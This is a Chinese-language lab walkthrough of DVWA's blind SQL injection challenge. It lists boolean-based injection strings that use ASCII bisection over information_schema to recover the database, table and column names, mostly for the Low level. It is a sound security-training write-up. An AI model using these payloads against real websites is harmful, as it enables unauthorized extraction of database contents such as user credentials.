代碼生成器app下載天津百度關(guān)鍵詞seo
SQL Injection (Blind)
????????SQL Injection (Blind) SQL盲注,是一種特殊類型的SQL注入攻擊,它的特點(diǎn)是無(wú)法直接從頁(yè)面上看到注入語(yǔ)句的執(zhí)行結(jié)果。在這種情況下,需要利用一些方法進(jìn)行判斷或者嘗試,這個(gè)過(guò)程稱之為盲注。
盲注的主要形式有兩種:
? ? ? ? 1、基于布爾的盲注(Boolean based):在某些場(chǎng)合下,頁(yè)面返回的結(jié)果只有兩種(正?;蝈e(cuò)誤)。通過(guò)構(gòu)造SQL判斷語(yǔ)句,查看頁(yè)面的返回結(jié)果(True or False)來(lái)判斷哪些SQL判斷條件成立,通過(guò)此來(lái)獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)。
? ? ? ? 2、基于時(shí)間的盲注(Time based):又稱延時(shí)注入,即使用具有延時(shí)功能的函數(shù)sleep、benchmark等,通過(guò)判斷這些函數(shù)是否正常執(zhí)行來(lái)獲取數(shù)據(jù)庫(kù)中的數(shù)據(jù)。
????????在 SQL 盲注中,字符型注入通常更容易通過(guò)頁(yè)面上的不同提示來(lái)確認(rèn)注入成功,而數(shù)字型注入則可能在頁(yè)面上不顯示直接的區(qū)別。這是因?yàn)樽址妥⑷肟梢酝ㄟ^(guò)構(gòu)造不同的字符串來(lái)影響 SQL 語(yǔ)句的執(zhí)行,而數(shù)字型注入可能會(huì)導(dǎo)致結(jié)果為真或假的不同條件,但頁(yè)面上可能沒(méi)有直接的可見(jiàn)區(qū)別。
Low
1、判斷注入類型
? ? ? ? 代碼并沒(méi)有對(duì)參數(shù)做過(guò)濾或者驗(yàn)證,且頁(yè)面返回的結(jié)果有兩種
if ($exists) {// 用戶存在的處理$html .= '<pre>User ID exists in the database.</pre>';
} else {// 用戶不存在的處理header($_SERVER['SERVER_PROTOCOL'] . ' 404 Not Found');$html .= '<pre>User ID is MISSING from the database.</pre>';
}
? ? ? ??首先判斷注入的類型,前文已經(jīng)提到過(guò) 字符型的會(huì)有不同的提示證明SQL語(yǔ)句被成功執(zhí)行,而數(shù)字型無(wú)論SQL對(duì)錯(cuò)頁(yè)面提示的都是相同的 證明SQL語(yǔ)句并沒(méi)有被執(zhí)行?
????????
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? (為字符型注入)? ? ? ??
?
2、判斷列數(shù)?
? ? ? ? ?
????????接下來(lái)判斷字符段數(shù),通過(guò)嘗試不同的?ORDER BY
子句中的列數(shù),可以逐步確定實(shí)際的列數(shù)
通過(guò)類似于:? ?1' ORDER BY 1#? 如果查詢不出錯(cuò),則至少為1列
? ? ? ? ? ?1' ORDER BY 2#? 如果查詢不出錯(cuò),則至少為2列
? ? ? ? ? ?1' ORDER BY 3#? 如果查詢不出錯(cuò),則至少為3列
如下,則字段數(shù)為2
??
3、判斷數(shù)據(jù)庫(kù)名、長(zhǎng)度
? ? ? ? 接下來(lái),判斷數(shù)據(jù)庫(kù)名長(zhǎng)? ,? length(database())?可以返回當(dāng)前數(shù)據(jù)庫(kù)名的長(zhǎng)度,我們可以通過(guò)邏輯條件將其與一個(gè)數(shù)字進(jìn)行比較,用以判斷
? ? ? ? 此處,我們已經(jīng)知道數(shù)據(jù)庫(kù)是DVWA,長(zhǎng)度確實(shí)是4位
1' and ?length(database())>3?#
1' and ?length(database())=4 #
?1' and ?length(database())>4 #
????????判斷數(shù)據(jù)庫(kù)名稱,使用二分法判斷數(shù)據(jù)庫(kù)的名稱,? 通過(guò) ASCII(SUBSTR(DATABASE(), 1, 1))? 構(gòu)造邏輯語(yǔ)句來(lái)判斷數(shù)據(jù)庫(kù)名稱的每一個(gè)字母的ASCII碼?
?"dvwa" 的 ASCII 碼如下:
- 'd': 100
- 'v': 118
- 'w': 119
- 'a': 97
1' and ascii(substr(database(),1,1))>68?#
1' and ascii(substr(database(),1,1))<127?#?? ? ? ??
兩次存在,第一個(gè)字符的ASCII值大于68,小于127 則可以確定是一個(gè)字母
1' and ascii(substr(database(),1,1))<100 #?
1' and ascii(substr(database(),1,1))>100 #?
兩次都不存在,則可以確定該字符的ASCII碼的值為100,對(duì)照可知 第一個(gè)字符為“ d ”
?
1' and ascii(substr(database(),X,1))? 判斷第2、第3、第4位時(shí),X分別為2、3、4
重復(fù)上述步驟,則可解出完整庫(kù)名(dvwa)
? ? ? ?
4、判斷數(shù)據(jù)庫(kù)中表名、表長(zhǎng)、數(shù)量
? ? ? ? 關(guān)于數(shù)據(jù)庫(kù)dvwa中 的表的數(shù)量? 可以用 下列SQL注入字符串?查詢返回當(dāng)前數(shù)據(jù)庫(kù)中表的數(shù)量,如果數(shù)量符合,整個(gè)條件將為真。
1' and (select count (table_name) from information_schema.tables where table_schema=database() )
1' AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema = DATABASE()) = 2#
如上,可知dvwa庫(kù)中,有兩個(gè)表
? ? ? ? 判斷表1長(zhǎng)度:通過(guò)SQL 注入字符串 猜解表長(zhǎng),檢查當(dāng)前數(shù)據(jù)庫(kù)中某個(gè)表的第一個(gè)字符的長(zhǎng)度是否為等號(hào)后的數(shù)字?
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #.
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #
? ? ? ? ?由下圖可見(jiàn),當(dāng)條件為 9 的時(shí)候 整個(gè)條件為真,所以第一個(gè)表的名長(zhǎng)度為9
????????判斷表2長(zhǎng)度:通過(guò)SQL 注入字符串 猜解表長(zhǎng),檢查當(dāng)前數(shù)據(jù)庫(kù)中某個(gè)表的第一個(gè)字符的長(zhǎng)度是否為等號(hào)后的數(shù)字???????LIMIT 1, 1
表示從結(jié)果集中獲取第二行,即下一個(gè)表的表名。???
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=1 #
.
.
.
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5 #
?????????由下圖可見(jiàn),當(dāng)條件為 5?的時(shí)候 整個(gè)條件為真,所以下一個(gè)表也就是第二張表名長(zhǎng)度為5
????????猜解表名,此處和前文猜數(shù)據(jù)庫(kù)名方法相似,都是構(gòu)造判斷條件,判斷字符的ASCII碼的值來(lái)確定表名。
????????LIMIT 0, 1
表示從結(jié)果集的第一行開(kāi)始,取一行記錄。后面的 ,1)
是 SUBSTR
函數(shù)的一部分,用于截取字符串的一部分。
? ? ? ? 所以我們判斷第二個(gè)字母的時(shí)候? 改動(dòng)部分語(yǔ)句? ?limit 0,1),2,1))? ?同理判斷第三個(gè)字母時(shí)為limit 0,1),3,1))?
? ? ? ? 根據(jù)下面的字符串,同理,重復(fù)下去可得第一個(gè)表的名字為 guestbook
#通過(guò) 下面的 SQL 注入嘗試已經(jīng)成功地判斷了當(dāng)前數(shù)據(jù)庫(kù)中下一個(gè)表的第一個(gè)字符的 ASCII 值的范圍
#第一個(gè)字符的 ASCII 值在97到109之間,但不包括103
#ASCII碼103對(duì)應(yīng)的字符是小寫(xiě)字母"g"
#所以第一個(gè)表的名字的第一個(gè)字符為小寫(xiě)字母“g"1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 顯示不存在
?????????LIMIT 1, 1), 1, 1)
用于選擇 information_schema.tables
表中的第二個(gè)表名,并截取該表名的第一個(gè)字符。在 SQL 查詢中,LIMIT 1, 1
是一個(gè)常見(jiàn)的用法,表示從結(jié)果集的第二行開(kāi)始,取一行記錄。而 SUBSTR(..., 1, 1)
則是用于截取字符串的子串,這里用于截取表名的第一個(gè)字符。
? ? ? ? 還是同理可得,根據(jù)以下的注入字符串,修改參數(shù)后,重復(fù)下去可得第二表的完整表名?users
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>97 # 顯示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))<122 # 顯示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>97 # 顯示存在1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))<122 # 顯示存在
? ? ? ? 此時(shí)我們得到兩個(gè)表的表名 :??guestbook、users
5、猜解表中字段數(shù)量、段長(zhǎng)、段名
? ? ? ? 判斷表中的字段數(shù)量,這里我們已經(jīng)知道了兩表中的列數(shù),故不再一個(gè)個(gè)嘗試,用已知數(shù)直接進(jìn)行判斷
????????構(gòu)造一個(gè)邏輯條件,用于檢查名為 'users' 的表是否有超過(guò)4列的列數(shù),名為”guestbook“的表是否有超過(guò)8列的列數(shù)。
1' and (select count(column_name) from information_schema.columns where table_name= 'users')>4 #?
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 #?
?
? ? ? ? 接下來(lái)的判斷段長(zhǎng)、段名的步驟與判斷數(shù)據(jù)庫(kù)名、庫(kù)民長(zhǎng)的步驟一致,差異只在于參數(shù)的不同,故不再贅述,
? ? ? ? 我們以u(píng)sers表為例:
????????
用下面的注入字符串不斷重復(fù)(), 可得users表的字段長(zhǎng)分別為7,10,9,4,8,6,10,12
#檢查名為 'users' 的表的第一個(gè)列名的長(zhǎng)度是否為1
1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 1#
…………
#檢查名為 'users' 的表的第一個(gè)列名的長(zhǎng)度是否為7
1' AND LENGTH(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name = 'users' LIMIT 0, 1), 1)) = 7#
? ? ? ? 關(guān)于段名的判斷,還是通過(guò)ASCII碼的值,
檢查名為 'users' 的表的第一個(gè)列名的第一個(gè)字符的 ASCII 值是否大于 97
替換參數(shù),重復(fù)下去可得users表的第一個(gè)字段名為user_id
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))>97#
……………………
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' limit 1,1),1))>97#
…………
…………
?????????
? ? ? ? 重復(fù)判斷段名的步驟最終得到users表中所有字段名user_id、first_name、last_name、user、password、avatar、last_login、failed_login
(這里太多,太麻煩了,我并沒(méi)有全部驗(yàn)證,只驗(yàn)證了user_id字段)
Medium
? ? ? ? 相較于low,medium的代碼利用 mysql_real_escape_string
函數(shù)對(duì)特殊符號(hào)進(jìn)行轉(zhuǎn)義,包括但不限于 \x00
, \n
, \r
, \,
, '
, "
, 和 \x1a
。、
? ? ? ? 但是我們依然可以構(gòu)造語(yǔ)句進(jìn)行注入
High
????????代碼使用 cookie 來(lái)傳遞參數(shù) id。如果 SQL 查詢結(jié)果為空,代碼將觸發(fā) sleep(seconds)
函數(shù),用于擾亂基于時(shí)間的盲注攻擊。同時(shí),SQL 查詢語(yǔ)句中加入了 LIMIT 1
,以確保僅輸出一個(gè)結(jié)果。盡管添加了 LIMIT 1
,但通過(guò)使用 #
進(jìn)行注釋,我們?nèi)匀荒軌蚶@過(guò)該限制。受限于sleep函數(shù)的影響,基于時(shí)間的布爾盲注的準(zhǔn)確性會(huì)受到影響。